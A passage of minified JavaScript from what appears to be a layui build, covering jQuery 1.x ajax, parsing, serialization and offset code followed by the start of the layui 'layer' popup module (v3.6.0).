q=T.location,Pt=C.now(),Bt=/\\?/,Wt=/(,)|(\\[|{)|(}|])|\"(?:[^\"\\\\\\r\\n]|\\\\[\"\\\\\\/bfnrt]|\\\\u[\\da-fA-F]{4})*\"\\s*:?|true|false|null|-?(?!0\\d)\\d+(?:\\.\\d+|)(?:[eE][+-]?\\d+|)/g,It=(C.parseJSON=function(e){if(T.JSON&&T.JSON.parse)return T.JSON.parse(e+\"\");var i,o=null,t=C.trim(e+\"\");return t&&!C.trim(t.replace(Wt,function(e,t,n,r){return 0===(o=i&&t?0:o)?e:(i=n||t,o+=!r-!n,\"\")}))?Function(\"return \"+t)():C.error(\"Invalid JSON: \"+e)},C.parseXML=function(e){var t;if(!e||\"string\"!=typeof e)return null;try{T.DOMParser?t=(new T.DOMParser).parseFromString(e,\"text/xml\"):((t=new T.ActiveXObject(\"Microsoft.XMLDOM\"))[\"async\"]=\"false\",t.loadXML(e))}catch(n){t=undefined}return t&&t.documentElement&&!t.getElementsByTagName(\"parsererror\").length||C.error(\"Invalid XML: \"+e),t},/#.*$/),$t=/([?&])_=[^&]*/,zt=/^(.*?):[ \\t]*([^\\r\\n]*)\\r?$/gm,Xt=/^(?:GET|HEAD)$/,Ut=/^\\/\\//,Vt=/^([\\w.+-]+:)(?:\\/\\/(?:[^\\/?#]*@|)([^\\/?#:]*)(?::(\\d+)|)|)/,Yt={},Jt={},Gt=\"*/\".concat(\"*\"),Kt=q.href,_=Vt.exec(Kt.toLowerCase())||[];function Qt(o){return function(e,t){\"string\"!=typeof e&&(t=e,e=\"*\");var n,r=0,i=e.toLowerCase().match(E)||[];if(C.isFunction(t))for(;n=i[r++];)\"+\"===n.charAt(0)?(n=n.slice(1)||\"*\",(o[n]=o[n]||[]).unshift(t)):(o[n]=o[n]||[]).push(t)}}function Zt(t,r,i,o){var a={},s=t===Jt;function u(e){var n;return a[e]=!0,C.each(t[e]||[],function(e,t){t=t(r,i,o);return\"string\"!=typeof t||s||a[t]?s?!(n=t):void 0:(r.dataTypes.unshift(t),u(t),!1)}),n}return u(r.dataTypes[0])||!a[\"*\"]&&u(\"*\")}function en(e,t){var n,r,i=C.ajaxSettings.flatOptions||{};for(r in t)t[r]!==undefined&&((i[r]?e:n=n||{})[r]=t[r]);return n&&C.extend(!0,e,n),e}function tn(e,t,n,r){var i,o,a,s,u,l={},c=e.dataTypes.slice();if(c[1])for(a in e.converters)l[a.toLowerCase()]=e.converters[a];for(o=c.shift();o;)if(e.responseFields[o]&&(n[e.responseFields[o]]=t),!u&&r&&e.dataFilter&&(t=e.dataFilter(t,e.dataType)),u=o,o=c.shift())if(\"*\"===o)o=u;else if(\"*\"!==u&&u!==o){if(!(a=l[u+\" \"+o]||l[\"* \"+o]))for(i in l)if((s=i.split(\" \"))[1]===o&&(a=l[u+\" \"+s[0]]||l[\"* \"+s[0]])){!0===a?a=l[i]:!0!==l[i]&&(o=s[0],c.unshift(s[1]));break}if(!0!==a)if(a&&e[\"throws\"])t=a(t);else try{t=a(t)}catch(f){return{state:\"parsererror\",error:a?f:\"No conversion from \"+u+\" to \"+o}}}return{state:\"success\",data:t}}function nn(e){if(!C.contains(e.ownerDocument||g,e))return!0;for(;e&&1===e.nodeType;){if(\"none\"===((t=e).style&&t.style.display||C.css(t,\"display\"))||\"hidden\"===e.type)return!0;e=e.parentNode}var t;return!1}C.extend({active:0,lastModified:{},etag:{},ajaxSettings:{url:Kt,type:\"GET\",isLocal:/^(?:about|app|app-storage|.+-extension|file|res|widget):$/.test(_[1]),global:!0,processData:!0,\"async\":!0,contentType:\"application/x-www-form-urlencoded; charset=UTF-8\",accepts:{\"*\":Gt,text:\"text/plain\",html:\"text/html\",xml:\"application/xml, text/xml\",json:\"application/json, text/javascript\"},contents:{xml:/\\bxml\\b/,html:/\\bhtml/,json:/\\bjson\\b/},responseFields:{xml:\"responseXML\",text:\"responseText\",json:\"responseJSON\"},converters:{\"* text\":String,\"text html\":!0,\"text json\":C.parseJSON,\"text xml\":C.parseXML},flatOptions:{url:!0,context:!0}},ajaxSetup:function(e,t){return t?en(en(e,C.ajaxSettings),t):en(C.ajaxSettings,e)},ajaxPrefilter:Qt(Yt),ajaxTransport:Qt(Jt),ajax:function(e,t){\"object\"==typeof e&&(t=e,e=undefined);var n,u,l,c,f,d,r,p=C.ajaxSetup({},t=t||{}),h=p.context||p,g=p.context&&(h.nodeType||h.jquery)?C(h):C.event,m=C.Deferred(),y=C.Callbacks(\"once memory\"),v=p.statusCode||{},i={},o={},x=0,a=\"canceled\",b={readyState:0,getResponseHeader:function(e){var t;if(2===x){if(!r)for(r={};t=zt.exec(l);)r[t[1].toLowerCase()]=t[2];t=r[e.toLowerCase()]}return null==t?null:t},getAllResponseHeaders:function(){return 2===x?l:null},setRequestHeader:function(e,t){var n=e.toLowerCase();return x||(e=o[n]=o[n]||e,i[e]=t),this},overrideMimeType:function(e){return x||(p.mimeType=e),this},statusCode:function(e){if(e)if(x<2)for(var t in e)v[t]=[v[t],e[t]];else b.always(e[b.status]);return this},abort:function(e){e=e||a;return d&&d.abort(e),s(0,e),this}};if(m.promise(b).complete=y.add,b.success=b.done,b.error=b.fail,p.url=((e||p.url||Kt)+\"\").replace(It,\"\").replace(Ut,_[1]+\"//\"),p.type=t.method||t.type||p.method||p.type,p.dataTypes=C.trim(p.dataType||\"*\").toLowerCase().match(E)||[\"\"],null==p.crossDomain&&(e=Vt.exec(p.url.toLowerCase()),p.crossDomain=!(!e||e[1]===_[1]&&e[2]===_[2]&&(e[3]||(\"http:\"===e[1]?\"80\":\"443\"))===(_[3]||(\"http:\"===_[1]?\"80\":\"443\")))),p.data&&p.processData&&\"string\"!=typeof p.data&&(p.data=C.param(p.data,p.traditional)),Zt(Yt,p,t,b),2===x)return b;for(n in(f=C.event&&p.global)&&0==C.active++&&C.event.trigger(\"ajaxStart\"),p.type=p.type.toUpperCase(),p.hasContent=!Xt.test(p.type),u=p.url,p.hasContent||(p.data&&(u=p.url+=(Bt.test(u)?\"&\":\"?\")+p.data,delete p.data),!1===p.cache&&(p.url=$t.test(u)?u.replace($t,\"$1_=\"+Pt++):u+(Bt.test(u)?\"&\":\"?\")+\"_=\"+Pt++)),p.ifModified&&(C.lastModified[u]&&b.setRequestHeader(\"If-Modified-Since\",C.lastModified[u]),C.etag[u]&&b.setRequestHeader(\"If-None-Match\",C.etag[u])),(p.data&&p.hasContent&&!1!==p.contentType||t.contentType)&&b.setRequestHeader(\"Content-Type\",p.contentType),b.setRequestHeader(\"Accept\",p.dataTypes[0]&&p.accepts[p.dataTypes[0]]?p.accepts[p.dataTypes[0]]+(\"*\"!==p.dataTypes[0]?\", \"+Gt+\"; q=0.01\":\"\"):p.accepts[\"*\"]),p.headers)b.setRequestHeader(n,p.headers[n]);if(p.beforeSend&&(!1===p.beforeSend.call(h,b,p)||2===x))return b.abort();for(n in a=\"abort\",{success:1,error:1,complete:1})b[n](p[n]);if(d=Zt(Jt,p,t,b)){if(b.readyState=1,f&&g.trigger(\"ajaxSend\",[b,p]),2===x)return b;p[\"async\"]&&0<p.timeout&&(c=T.setTimeout(function(){b.abort(\"timeout\")},p.timeout));try{x=1,d.send(i,s)}catch(w){if(!(x<2))throw w;s(-1,w)}}else s(-1,\"No Transport\");function s(e,t,n,r){var i,o,a,s=t;2!==x&&(x=2,c&&T.clearTimeout(c),d=undefined,l=r||\"\",b.readyState=0<e?4:0,r=200<=e&&e<300||304===e,n&&(a=function(e,t,n){for(var r,i,o,a,s=e.contents,u=e.dataTypes;\"*\"===u[0];)u.shift(),i===undefined&&(i=e.mimeType||t.getResponseHeader(\"Content-Type\"));if(i)for(a in s)if(s[a]&&s[a].test(i)){u.unshift(a);break}if(u[0]in n)o=u[0];else{for(a in n){if(!u[0]||e.converters[a+\" \"+u[0]]){o=a;break}r=r||a}o=o||r}if(o)return o!==u[0]&&u.unshift(o),n[o]}(p,b,n)),a=tn(p,a,b,r),r?(p.ifModified&&((n=b.getResponseHeader(\"Last-Modified\"))&&(C.lastModified[u]=n),(n=b.getResponseHeader(\"etag\"))&&(C.etag[u]=n)),204===e||\"HEAD\"===p.type?s=\"nocontent\":304===e?s=\"notmodified\":(s=a.state,i=a.data,r=!(o=a.error))):(o=s,!e&&s||(s=\"error\",e<0&&(e=0))),b.status=e,b.statusText=(t||s)+\"\",r?m.resolveWith(h,[i,s,b]):m.rejectWith(h,[b,s,o]),b.statusCode(v),v=undefined,f&&g.trigger(r?\"ajaxSuccess\":\"ajaxError\",[b,p,r?i:o]),y.fireWith(h,[b,s]),f&&(g.trigger(\"ajaxComplete\",[b,p]),--C.active||C.event.trigger(\"ajaxStop\")))}return b},getJSON:function(e,t,n){return C.get(e,t,n,\"json\")},getScript:function(e,t){return C.get(e,undefined,t,\"script\")}}),C.each([\"get\",\"post\"],function(e,i){C[i]=function(e,t,n,r){return C.isFunction(t)&&(r=r||n,n=t,t=undefined),C.ajax(C.extend({url:e,type:i,dataType:r,data:t,success:n},C.isPlainObject(e)&&e))}}),C._evalUrl=function(e){return C.ajax({url:e,type:\"GET\",dataType:\"script\",cache:!0,\"async\":!1,global:!1,\"throws\":!0})},C.fn.extend({wrapAll:function(t){return C.isFunction(t)?this.each(function(e){C(this).wrapAll(t.call(this,e))}):(this[0]&&(e=C(t,this[0].ownerDocument).eq(0).clone(!0),this[0].parentNode&&e.insertBefore(this[0]),e.map(function(){for(var e=this;e.firstChild&&1===e.firstChild.nodeType;)e=e.firstChild;return e}).append(this)),this);var e},wrapInner:function(n){return C.isFunction(n)?this.each(function(e){C(this).wrapInner(n.call(this,e))}):this.each(function(){var e=C(this),t=e.contents();t.length?t.wrapAll(n):e.append(n)})},wrap:function(t){var n=C.isFunction(t);return this.each(function(e){C(this).wrapAll(n?t.call(this,e):t)})},unwrap:function(){return this.parent().each(function(){C.nodeName(this,\"body\")||C(this).replaceWith(this.childNodes)}).end()}}),C.expr.filters.hidden=function(e){return y.reliableHiddenOffsets()?e.offsetWidth<=0&&e.offsetHeight<=0&&!e.getClientRects().length:nn(e)},C.expr.filters.visible=function(e){return!C.expr.filters.hidden(e)};var rn=/%20/g,on=/\\[\\]$/,an=/\\r?\\n/g,sn=/^(?:submit|button|image|reset|file)$/i,un=/^(?:input|select|textarea|keygen)/i;C.param=function(e,t){var n,r=[],i=function(e,t){t=C.isFunction(t)?t():null==t?\"\":t,r[r.length]=encodeURIComponent(e)+\"=\"+encodeURIComponent(t)};if(t===undefined&&(t=C.ajaxSettings&&C.ajaxSettings.traditional),C.isArray(e)||e.jquery&&!C.isPlainObject(e))C.each(e,function(){i(this.name,this.value)});else for(n in e)!function o(n,e,r,i){if(C.isArray(e))C.each(e,function(e,t){r||on.test(n)?i(n,t):o(n+\"[\"+(\"object\"==typeof t&&null!=t?e:\"\")+\"]\",t,r,i)});else if(r||\"object\"!==C.type(e))i(n,e);else for(var t in e)o(n+\"[\"+t+\"]\",e[t],r,i)}(n,e[n],t,i);return r.join(\"&\").replace(rn,\"+\")},C.fn.extend({serialize:function(){return C.param(this.serializeArray())},serializeArray:function(){return this.map(function(){var e=C.prop(this,\"elements\");return e?C.makeArray(e):this}).filter(function(){var e=this.type;return this.name&&!C(this).is(\":disabled\")&&un.test(this.nodeName)&&!sn.test(e)&&(this.checked||!ge.test(e))}).map(function(e,t){var n=C(this).val();return null==n?null:C.isArray(n)?C.map(n,function(e){return{name:t.name,value:e.replace(an,\"\\r\\n\")}}):{name:t.name,value:n.replace(an,\"\\r\\n\")}}).get()}}),C.ajaxSettings.xhr=T.ActiveXObject!==undefined?function(){return this.isLocal?dn():8<g.documentMode?fn():/^(get|post|head|put|delete|options)$/i.test(this.type)&&fn()||dn()}:fn;var ln=0,cn={},F=C.ajaxSettings.xhr();function fn(){try{return new T.XMLHttpRequest}catch(e){}}function dn(){try{return new T.ActiveXObject(\"Microsoft.XMLHTTP\")}catch(e){}}T.attachEvent&&T.attachEvent(\"onunload\",function(){for(var e in cn)cn[e](undefined,!0)}),y.cors=!!F&&\"withCredentials\"in F,(F=y.ajax=!!F)&&C.ajaxTransport(function(l){var c;if(!l.crossDomain||y.cors)return{send:function(e,a){var t,s=l.xhr(),u=++ln;if(s.open(l.type,l.url,l[\"async\"],l.username,l.password),l.xhrFields)for(t in l.xhrFields)s[t]=l.xhrFields[t];for(t in l.mimeType&&s.overrideMimeType&&s.overrideMimeType(l.mimeType),l.crossDomain||e[\"X-Requested-With\"]||(e[\"X-Requested-With\"]=\"XMLHttpRequest\"),e)e[t]!==undefined&&s.setRequestHeader(t,e[t]+\"\");s.send(l.hasContent&&l.data||null),c=function(e,t){var n,r,i;if(c&&(t||4===s.readyState))if(delete cn[u],c=undefined,s.onreadystatechange=C.noop,t)4!==s.readyState&&s.abort();else{i={},n=s.status,\"string\"==typeof s.responseText&&(i.text=s.responseText);try{r=s.statusText}catch(o){r=\"\"}n||!l.isLocal||l.crossDomain?1223===n&&(n=204):n=i.text?200:404}i&&a(n,r,i,s.getAllResponseHeaders())},l[\"async\"]?4===s.readyState?T.setTimeout(c):s.onreadystatechange=cn[u]=c:c()},abort:function(){c&&c(undefined,!0)}}}),C.ajaxSetup({accepts:{script:\"text/javascript, application/javascript, application/ecmascript, application/x-ecmascript\"},contents:{script:/\\b(?:java|ecma)script\\b/},converters:{\"text script\":function(e){return C.globalEval(e),e}}}),C.ajaxPrefilter(\"script\",function(e){e.cache===undefined&&(e.cache=!1),e.crossDomain&&(e.type=\"GET\",e.global=!1)}),C.ajaxTransport(\"script\",function(t){var r,i;if(t.crossDomain)return i=g.head||C(\"head\")[0]||g.documentElement,{send:function(e,n){(r=g.createElement(\"script\"))[\"async\"]=!0,t.scriptCharset&&(r.charset=t.scriptCharset),r.src=t.url,r.onload=r.onreadystatechange=function(e,t){!t&&r.readyState&&!/loaded|complete/.test(r.readyState)||(r.onload=r.onreadystatechange=null,r.parentNode&&r.parentNode.removeChild(r),r=null,t||n(200,\"success\"))},i.insertBefore(r,i.firstChild)},abort:function(){r&&r.onload(undefined,!0)}}});var pn=[],hn=/(=)\\?(?=&|$)|\\?\\?/,gn=(C.ajaxSetup({jsonp:\"callback\",jsonpCallback:function(){var e=pn.pop()||C.expando+\"_\"+Pt++;return this[e]=!0,e}}),C.ajaxPrefilter(\"json jsonp\",function(e,t,n){var r,i,o,a=!1!==e.jsonp&&(hn.test(e.url)?\"url\":\"string\"==typeof e.data&&0===(e.contentType||\"\").indexOf(\"application/x-www-form-urlencoded\")&&hn.test(e.data)&&\"data\");if(a||\"jsonp\"===e.dataTypes[0])return r=e.jsonpCallback=C.isFunction(e.jsonpCallback)?e.jsonpCallback():e.jsonpCallback,a?e[a]=e[a].replace(hn,\"$1\"+r):!1!==e.jsonp&&(e.url+=(Bt.test(e.url)?\"&\":\"?\")+e.jsonp+\"=\"+r),e.converters[\"script json\"]=function(){return o||C.error(r+\" was not called\"),o[0]},e.dataTypes[0]=\"json\",i=T[r],T[r]=function(){o=arguments},n.always(function(){i===undefined?C(T).removeProp(r):T[r]=i,e[r]&&(e.jsonpCallback=t.jsonpCallback,pn.push(r)),o&&C.isFunction(i)&&i(o[0]),o=i=undefined}),\"script\"}),C.parseHTML=function(e,t,n){if(!e||\"string\"!=typeof e)return null;\"boolean\"==typeof t&&(n=t,t=!1),t=t||g;var r=J.exec(e),n=!n&&[];return r?[t.createElement(r[1])]:(r=Ne([e],t,n),n&&n.length&&C(n).remove(),C.merge([],r.childNodes))},C.fn.load);function mn(e){return C.isWindow(e)?e:9===e.nodeType&&(e.defaultView||e.parentWindow)}return C.fn.load=function(e,t,n){if(\"string\"!=typeof e&&gn)return gn.apply(this,arguments);var r,i,o,a=this,s=e.indexOf(\" \");return-1<s&&(r=C.trim(e.slice(s,e.length)),e=e.slice(0,s)),C.isFunction(t)?(n=t,t=undefined):t&&\"object\"==typeof t&&(i=\"POST\"),0<a.length&&C.ajax({url:e,type:i||\"GET\",dataType:\"html\",data:t}).done(function(e){o=arguments,a.html(r?C(\"<div>\").append(C.parseHTML(e)).find(r):e)}).always(n&&function(e,t){a.each(function(){n.apply(this,o||[e.responseText,t,e])})}),this},C.each([\"ajaxStart\",\"ajaxStop\",\"ajaxComplete\",\"ajaxError\",\"ajaxSuccess\",\"ajaxSend\"],function(e,t){C.fn[t]=function(e){return this.on(t,e)}}),C.expr.filters.animated=function(t){return C.grep(C.timers,function(e){return t===e.elem}).length},C.offset={setOffset:function(e,t,n){var r,i,o,a,s=C.css(e,\"position\"),u=C(e),l={};\"static\"===s&&(e.style.position=\"relative\"),o=u.offset(),r=C.css(e,\"top\"),a=C.css(e,\"left\"),s=(\"absolute\"===s||\"fixed\"===s)&&-1<C.inArray(\"auto\",[r,a])?(i=(s=u.position()).top,s.left):(i=parseFloat(r)||0,parseFloat(a)||0),null!=(t=C.isFunction(t)?t.call(e,n,C.extend({},o)):t).top&&(l.top=t.top-o.top+i),null!=t.left&&(l.left=t.left-o.left+s),\"using\"in t?t.using.call(e,l):u.css(l)}},C.fn.extend({offset:function(t){if(arguments.length)return t===undefined?this:this.each(function(e){C.offset.setOffset(this,t,e)});var e,n={top:0,left:0},r=this[0],i=r&&r.ownerDocument;return i?(e=i.documentElement,C.contains(e,r)?(\"undefined\"!=typeof r.getBoundingClientRect&&(n=r.getBoundingClientRect()),r=mn(i),{top:n.top+(r.pageYOffset||e.scrollTop)-(e.clientTop||0),left:n.left+(r.pageXOffset||e.scrollLeft)-(e.clientLeft||0)}):n):void 0},position:function(){var e,t,n,r;if(this[0])return n={top:0,left:0},r=this[0],\"fixed\"===C.css(r,\"position\")?t=r.getBoundingClientRect():(e=this.offsetParent(),t=this.offset(),(n=C.nodeName(e[0],\"html\")?n:e.offset()).top+=C.css(e[0],\"borderTopWidth\",!0),n.left+=C.css(e[0],\"borderLeftWidth\",!0)),{top:t.top-n.top-C.css(r,\"marginTop\",!0),left:t.left-n.left-C.css(r,\"marginLeft\",!0)}},offsetParent:function(){return this.map(function(){for(var e=this.offsetParent;e&&!C.nodeName(e,\"html\")&&\"static\"===C.css(e,\"position\");)e=e.offsetParent;return e||lt})}}),C.each({scrollLeft:\"pageXOffset\",scrollTop:\"pageYOffset\"},function(t,i){var o=/Y/.test(i);C.fn[t]=function(e){return d(this,function(e,t,n){var r=mn(e);if(n===undefined)return r?i in r?r[i]:r.document.documentElement[t]:e[t];r?r.scrollTo(o?C(r).scrollLeft():n,o?n:C(r).scrollTop()):e[t]=n},t,e,arguments.length,null)}}),C.each([\"top\",\"left\"],function(e,n){C.cssHooks[n]=ft(y.pixelPosition,function(e,t){if(t)return t=p(e,n),st.test(t)?C(e).position()[n]+\"px\":t})}),C.each({Height:\"height\",Width:\"width\"},function(o,a){C.each({padding:\"inner\"+o,content:a,\"\":\"outer\"+o},function(r,e){C.fn[e]=function(e,t){var n=arguments.length&&(r||\"boolean\"!=typeof e),i=r||(!0===e||!0===t?\"margin\":\"border\");return d(this,function(e,t,n){var r;return C.isWindow(e)?e.document.documentElement[\"client\"+o]:9===e.nodeType?(r=e.documentElement,Math.max(e.body[\"scroll\"+o],r[\"scroll\"+o],e.body[\"offset\"+o],r[\"offset\"+o],r[\"client\"+o])):n===undefined?C.css(e,t,i):C.style(e,t,n,i)},a,n?e:undefined,n,null)}})}),C.fn.extend({bind:function(e,t,n){return this.on(e,null,t,n)},unbind:function(e,t){return this.off(e,null,t)},delegate:function(e,t,n,r){return this.on(t,e,n,r)},undelegate:function(e,t,n){return 1===arguments.length?this.off(e,\"**\"):this.off(t,e||\"**\",n)}}),C.fn.size=function(){return this.length},C.fn.andSelf=C.fn.addBack,layui.define(function(e){e(\"jquery\",layui.$=C)}),C});!function(p){\"use strict\";var m,c,e,n=p.layui&&layui.define,f={getPath:(e=document.currentScript?document.currentScript.src:function(){for(var e,t=document.scripts,i=t.length-1,n=i;0<n;n--)if(\"interactive\"===t[n].readyState){e=t[n].src;break}return e||t[i].src}(),(p.LAYUI_GLOBAL||{}).layer_dir||e.substring(0,e.lastIndexOf(\"/\")+1)),config:{removeFocus:!0},end:{},events:{resize:{}},minStackIndex:0,minStackArr:[],btn:[\"&#x786E;&#x5B9A;\",\"&#x53D6;&#x6D88;\"],type:[\"dialog\",\"page\",\"iframe\",\"loading\",\"tips\"],getStyle:function(e,t){e=e.currentStyle||p.getComputedStyle(e,null);return e[e.getPropertyValue?\"getPropertyValue\":\"getAttribute\"](t)},link:function(e,i,t){var n,a,o,s,l,r;h.path&&(n=document.getElementsByTagName(\"head\")[0],a=document.createElement(\"link\"),o=((t=\"string\"==typeof i?i:t)||e).replace(/\\.|\\//g,\"\"),s=\"layuicss-\"+o,l=\"creating\",r=0,a.rel=\"stylesheet\",a.href=h.path+e,a.id=s,document.getElementById(s)||n.appendChild(a),\"function\"==typeof i&&function c(e){var t=document.getElementById(s);return 100<++r?p.console&&console.error(o+\".css: Invalid\"):void(1989===parseInt(f.getStyle(t,\"width\"))?(e===l&&t.removeAttribute(\"lay-status\"),t.getAttribute(\"lay-status\")===l?setTimeout(c,100):i()):(t.setAttribute(\"lay-status\",l),setTimeout(function(){c(l)},100)))}())}},h={v:\"3.6.0\",ie:(e=navigator.userAgent.toLowerCase(),!!(p.ActiveXObject||\"ActiveXObject\"in p)&&((e.match(/msie\\s(\\d+)/)||[])[1]||\"11\")),index:p.layer&&p.layer.v?1e5:0,path:f.getPath,config:function(e,t){return h.cache=f.config=m.extend({},f.config,e=e||{}),h.path=f.config.path||h.path,\"string\"==typeof e.extend&&(e.extend=[e.extend]),f.config.path&&h.ready(),e.extend&&(n?layui.addcss(\"modules/layer/\"+e.extend):f.link(\"css/\"+e.extend)),this},ready:function(e){var t=\"layer\",i=(n?\"modules/\":\"css/\")+\"layer.css?v=\"+h.v;return n?layui[\"layui.all\"]?\"function\"==typeof e&&e():layui.addcss(i,e,t):f.link(i,e,t),this},alert:function(e,t,i){var n=\"function\"==typeof t;return h.open(m.extend({content:e,yes:i=n?t:i},n?{}:t))},confirm:function(e,t,i,n){var a=\"function\"==typeof t;return a&&(n=i,i=t),h.open(m.extend({content:e,btn:f.btn,yes:i,btn2:n},a?{}:t))},msg:function(e,t,i){var n=\"function\"==typeof t,a=f.config.skin,a=(a?a+\" \"+a+\"-msg\":\"\")||\"layui-layer-msg\",o=d.anim.length-1;return n&&(i=t),h.open(m.extend({content:e,time:3e3,shade:!1,skin:a,title:!1,closeBtn:!1,btn:!1,resize:!1,end:i,removeFocus:!1},n&&!f.config.skin?{skin:a+\" layui-layer-hui\",anim:o}:(-1!==(t=t||{}).icon&&(void 0!==t.icon||f.config.skin)||(t.skin=a+\" \"+(t.skin||\"layui-layer-hui\")),t)))},load:function(e,t){return h.open(m.extend({type:3,icon:e||0,resize:!1,shade:.01,removeFocus:!1},t))},tips:function(e,t,i){return h.open(m.extend({type:4,content:[e,t],closeBtn:!1,time:3e3,shade:!1,resize:!1,fixed:!1,maxWidth:260,removeFocus:!1},i))}},t=function(e){var t=this,i=function(){t.creat()};t.index=++h.index,t.config.maxWidth=m(c).width()-30,t.config=m.extend({},t.config,f.config,e),document.body?i():setTimeout(function(){i()},30)},d=(t.pt=t.prototype,[\"layui-layer\",\".layui-layer-title\",\".layui-layer-main\",\".layui-layer-dialog\",\"layui-layer-iframe\",\"layui-layer-content\",\"layui-layer-btn\",\"layui-layer-close\"]),i=(d.anim={0:\"layer-anim-00\",1:\"layer-anim-01\",2:\"layer-anim-02\",3:\"layer-anim-03\",4:\"layer-anim-04\",5:\"layer-anim-05\",6:\"layer-anim-06\",slideDown:\"layer-anim-slide-down\",slideLeft:\"layer-anim-slide-left\",slideUp:\"layer-anim-slide-up\",slideRight:\"layer-anim-slide-right\"},d.SHADE=\"layui-layer-shade\",d.MOVE=\"layui-layer-move\",t.pt.config={type:0,shade:.3,fixed:!0,move:d[1],title:\"&#x4FE1;&#x606F;\",offset:\"auto\",area:\"auto\",closeBtn:1,time:0,zIndex:19891014,maxWidth:360,anim:0,isOutAnim:!0,minStack:!0,icon:-1,moveType:1,resize:!0,scrollbar:!0,tips:2},t.pt.vessel=function(e,t){var i,n=this.index,a=this.config,o=a.zIndex+n,s=\"object\"==typeof a.title,l=a.maxmin&&(1===a.type||2===a.type),s=a.title?'<div class=\"layui-layer-title\" style=\"'+(s?a.title[1]:\"\")+'\">'+(s?a.title[0]:a.title)+\"</div>\":\"\";return a.zIndex=o,t([a.shade?'<div class=\"'+d.SHADE+'\" id=\"'+d.SHADE+n+'\" times=\"'+n+'\" style=\"z-index:'+(o-1)+'; \"></div>':\"\",'<div class=\"'+d[0]+\" layui-layer-\"+f.type[a.type]+(0!=a.type&&2!=a.type||a.shade?\"\":\" layui-layer-border\")+\" \"+(a.skin||\"\")+'\" id=\"'+d[0]+n+'\" type=\"'+f.type[a.type]+'\" times=\"'+n+'\" showtime=\"'+a.time+'\" conType=\"'+(e?\"object\":\"string\")+'\" style=\"z-index: '+o+\"; width:\"+a.area[0]+\";height:\"+a.area[1]+\";position:\"+(a.fixed?\"fixed;\":\"absolute;\")+'\">'+(e&&2!=a.type?\"\":s)+\"<div\"+(a.id?' id=\"'+a.id+'\"':\"\")+' class=\"layui-layer-content'+(0==a.type&&-1!==a.icon?\" layui-layer-padding\":\"\")+(3==a.type?\" layui-layer-loading\"+a.icon:\"\")+'\">'+(n=[\"layui-icon-tips\",\"layui-icon-success\",\"layui-icon-error\",\"layui-icon-question\",\"layui-icon-lock\",\"layui-icon-face-cry\",\"layui-icon-face-smile\"],o=\"layui-anim layui-anim-rotate layui-anim-loop\",0==a.type&&-1!==a.icon?'<i class=\"layui-layer-face layui-icon '+((i=16==a.icon?\"layui-icon layui-icon-loading \"+o:i)||n[a.icon]||n[0])+'\"></i>':3==a.type?(i=[\"layui-icon-loading\",\"layui-icon-loading-1\"],2==a.icon?'<div class=\"layui-layer-loading-2 '+o+'\"></div>':'<i class=\"layui-layer-loading-icon layui-icon '+(i[a.icon]||i[0])+\" \"+o+'\"></i>'):\"\")+((1!=a.type||!e)&&a.content||\"\")+'</div><div class=\"layui-layer-setwin\">'+(n=[],l&&(n.push('<span class=\"layui-layer-min\"></span>'),n.push('<span class=\"layui-layer-max\"></span>')),a.closeBtn&&n.push('<span class=\"layui-icon layui-icon-close '+[d[7],d[7]+(a.title?a.closeBtn:4==a.type?\"1\":\"2\")].join(\" \")+'\"></span>'),n.join(\"\"))+\"</div>\"+(a.btn?function(){var e=\"\";\"string\"==typeof a.btn&&(a.btn=[a.btn]);for(var t=0,i=a.btn.length;t<i;t++)e+='<a class=\"'+d[6]+t+'\">'+a.btn[t]+\"</a>\";return'<div class=\"'+d[6]+\" layui-layer-btn-\"+(a.btnAlign||\"\")+'\">'+e+\"</div>\"}():\"\")+(a.resize?'<span class=\"layui-layer-resize\"></span>':\"\")+\"</div>\"],s,m('<div class=\"'+d.MOVE+'\" id=\"'+d.MOVE+'\"></div>')),this},t.pt.creat=function(){var e,n=this,a=n.config,o=n.index,s=\"object\"==typeof(r=a.content),l=m(\"body\");if(!a.id||!m(\".\"+d[0]).find(\"#\"+a.id)[0]){switch(a.removeFocus&&document.activeElement.blur(),\"string\"==typeof a.area&&(a.area=\"auto\"===a.area?[\"\",\"\"]:[a.area,\"\"]),a.shift&&(a.anim=a.shift),6==h.ie&&(a.fixed=!1),a.type){case 0:a.btn=\"btn\"in a?a.btn:f.btn[0],h.closeAll(\"dialog\");break;case 2:var r=a.content=s?a.content:[a.content||\"\",\"auto\"];a.content='<iframe scrolling=\"'+(a.content[1]||\"auto\")+'\" allowtransparency=\"true\" id=\"'+d[4]+o+'\" name=\"'+d[4]+o+'\" onload=\"this.className=\\'\\';\" class=\"layui-layer-load\" frameborder=\"0\" src=\"'+a.content[0]+'\"></iframe>';break;case 3:delete a.title,delete a.closeBtn,-1===a.icon&&a.icon,h.closeAll(\"loading\");break;case 4:s||(a.content=[a.content,\"body\"]),a.follow=a.content[1],a.content=a.content[0]+'<i class=\"layui-layer-TipsG\"></i>',delete a.title,a.tips=\"object\"==typeof a.tips?a.tips:[a.tips,!0],a.tipsMore||h.closeAll(\"tips\")}n.vessel(s,function(e,t,i){l.append(e[0]),s?2==a.type||4==a.type?m(\"body\").append(e[1]):r.parents(\".\"+d[0])[0]||(r.data(\"display\",r.css(\"display\")).show().addClass(\"layui-layer-wrap\").wrap(e[1]),m(\"#\"+d[0]+o).find(\".\"+d[5]).before(t)):l.append(e[1]),m(\"#\"+d.MOVE)[0]||l.append(f.moveElem=i),n.layero=m(\"#\"+d[0]+o),n.shadeo=m(\"#\"+d.SHADE+o),a.scrollbar||d.html.css(\"overflow\",\"hidden\").attr(\"layer-full\",o)}).auto(o),n.shadeo.css({\"background-color\":a.shade[1]||\"#000\",opacity:a.shade[0]||a.shade}),2==a.type&&6==h.ie&&n.layero.find(\"iframe\").attr(\"src\",r[0]),4==a.type?n.tips():(n.offset(),parseInt(f.getStyle(document.getElementById(d.MOVE),\"z-index\"))||(n.layero.css(\"visibility\",\"hidden\"),h.ready(function(){n.offset(),n.layero.css(\"visibility\",\"visible\")}))),!a.fixed||f.events.resize[n.index]||(f.events.resize[n.index]=function(){n.resize()},c.on(\"resize\",f.events.resize[n.index])),a.time<=0||setTimeout(function(){h.close(n.index)},a.time),n.move().callback(),d.anim[a.anim]&&(e=\"layer-anim \"+d.anim[a.anim],n.layero.addClass(e).one(\"webkitAnimationEnd mozAnimationEnd MSAnimationEnd oanimationend animationend\",function(){m(this).removeClass(e)})),a.isOutAnim&&n.layero.data({isOutAnim:!0,anim:a.anim})}},t.pt.resize=function(){var 